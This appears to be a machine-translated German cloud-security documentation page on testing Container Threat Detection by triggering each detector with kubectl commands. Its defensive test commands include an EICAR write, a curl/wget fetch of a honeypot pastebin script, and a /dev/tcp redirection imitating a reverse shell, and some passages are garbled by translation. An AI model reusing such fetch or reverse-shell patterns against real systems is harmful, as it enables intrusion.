Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierten Dienst der Premium- und Enterprise-Stufe von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Öffnen Sie die Google Cloud Console.

    Weiter zur Google Cloud Console

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 18.04 ausgeführt wird und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren Stufe von Security Command Center.

Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet. filtert vorübergehend hinzugefügte von binär ausgeführte Ergebnisse. Um alle hinzugefügten Binärprogramme anzuzeigen Ergebnisse, die während der Einrichtung eines Containers ausgeführt wurden, dem Containernamen voranstellen oder Pod-Namen durch ktd-test ersetzen, wie im Beispiel.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 18.04 befindet und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren von Security Command Center auf Organisationsebene.

Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet. filtert vorübergehend Ergebnisse aus „Hinzugefügte Bibliothek geladen“. So rufen Sie alle hinzugefügten Mediatheken auf: Ergebnisse werden geladen, während ein Container eingerichtet wird, Containernamen voranstellen oder Pod-Namen durch ktd-test ersetzen, wie im Beispiel.

Ausführung: Schadprogramm ausgeführt und hinzugefügt

Wenn Sie das Ergebnis „Ausführung: Binary Executed“ hinzugefügt haben, löschen Sie einen in Ihrem Container und führen sie aus. In diesem Beispiel wird die neuestes Ubuntu 18.04-Image erstellen, eine simulierte schädliche Datei erstellen und dann ausführen. Die Ausführung des Binärprogramms ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des Original-Container-Image und die Binärdatei ist ein EICAR Testdatei, eine Datei, die von Threat Intelligence als schädlich eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Diese Testprozedur sollte ein Ausführungsprogramm erstellen: Malware ausgeführte Binärdatei hinzugefügt die Sie in Security Command Center und in Cloud Logging ansehen können, Sie haben Logging für Container Threat Detection konfiguriert. Wird angezeigt Ergebnisse in Cloud Logging sind nur verfügbar, wenn Sie Premium- oder Enterprise-Stufe von Security Command Center.

Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet. filtert vorübergehend Ausführung: Ergebnisse von bösartig ausgeführten Binärdateien wurden hinzugefügt. Um zu sehen, alle Ausführungen: Ergebnisse von schädlichen Binärdateien wurden hinzugefügt, während ein Container stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Ausführung: Geändertes bösartiges Binärprogramm ausgeführt

Ändern Sie zum Auslösen eines Ergebnisses vom Typ „Execution: Modified Malware Executed“ einen in Ihrem Container und führen sie aus. In diesem Beispiel wird die neuestes Ubuntu 18.04-Image, ändert /bin/ls in eine simulierte schädliche Datei und führt diese dann aus. Die Ausführung des Binärprogramms ist unerwartet, da /bin/ls während der Containerlaufzeit geändert wird als eine simulierte schädliche Binärdatei und diese ist ein EICAR Testdatei, eine Datei, die von Threat Intelligence als schädlich eingestuft wird.

ein EICAR die schädliche Datei testen und dann ausführen. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls während der Containerlaufzeit als ein EICAR-Binärprogramm, das eine schädliche Binärdatei testet, und die EICAR-Binärdatei eine bekannte schädliche Datei ist laut Threat Intelligence.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Mit dieser Testprozedur sollte ein Ergebnis vom Typ „Execution: Modified Binary Executed“ erstellt werden, das Sie in Security Command Center und in Cloud Logging, Logging für Container Threat Detection. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren Stufe von Security Command Center.

Zur Rauschunterdrückung wird Container Threat Detection beim erstmaligen Erstellen eines Containers verwendet. filtert vorübergehend „Ausführung: Geänderte bösartige, binär ausgeführte Ergebnisse“. Um zu sehen, alle Ausführungen: Geänderte bösartige, von Binärdatei ausgeführte Ergebnisse, während ein Container stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Schädliches Script ausgeführt

Sie können das Script ausführen, um ein Ergebnis der Ausführung eines schädlichen Scripts auszulösen in Ihrem Container.

Mit dem Verfahren wird das neueste Ubuntu 18.04-Image bereitgestellt und ein Script kopiert, und es dann ausführt. Zum Auslösen einer Erkennung muss das Skript für den Detektor schädlich sein.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie das folgende Skript in einem neuen Container aus.

    Dieses Inline-Bash-Shell-Skript stammt von einem Honeypot. Sie können jedoch Er wurde geändert, sodass er die schädliche Binärdatei nicht ausführt, sodass das Ausführen des Skripts keine schädlichen Aktivitäten in Ihrem Container verursacht. Die Binärdatei unter der angegebenen URL wurde möglicherweise entfernt und es wird versucht, der URL zu folgen, führt dies zu einem 404-Fehler. Dies ist zu erwarten. Der Versuch, eine Binärdatei mit einem Durch das Inline-Skript wird die Erkennung ausgelöst.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Anzeigen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Version aktivieren Stufe von Security Command Center.

Schädliche URL beobachtet

Um ein Ergebnis zu erhalten, das eine schädliche URL beobachtet hat, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument angeben.

Im folgenden Beispiel wird ein Ubuntu 18.04 bereitgestellt. Image und führt /bin/curl aus, um auf eine Malware-Beispiel-URL aus dem Safe Browsing .

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Dieses Testverfahren löst eine beobachtete schädliche URL aus, die die Sie in Security Command Center ansehen können. Logging für Container Threat Detection in Cloud Logging. Wird angezeigt Ergebnisse in Cloud Logging sind nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. Dieses Beispiel beginnt /bin/echo mit einer Weiterleitung zum Öffentliches Google-DNS 8.8.8.8 für den DNS-Port. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird der /bin/bash binary nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse anzeigen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene.

Unerwartete untergeordnete Shell

Zum Testen des Unexpected Child Shell-Detektors können Sie eine Prozessstruktur erstellen, die einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird eine consul->dash-Prozessstruktur erstellt, die vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des bash-Prozesses und nennt sie consul.
  2. Es kopiert den echo-Prozess und nennt ihn dash.
  3. Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Verwenden Sie den simulierten consul-Prozess, um eine Mock-Shell aufzurufen:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \
    /tmp/consul -c "/tmp/bash child ran successfully & wait"'
    

Dieses Testverfahren erstellt ein Unexpected Child Shell-Ergebnis, das Sie in Security Command Center ansehen. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie die in Cloud Logging finden können.

Nächste Schritte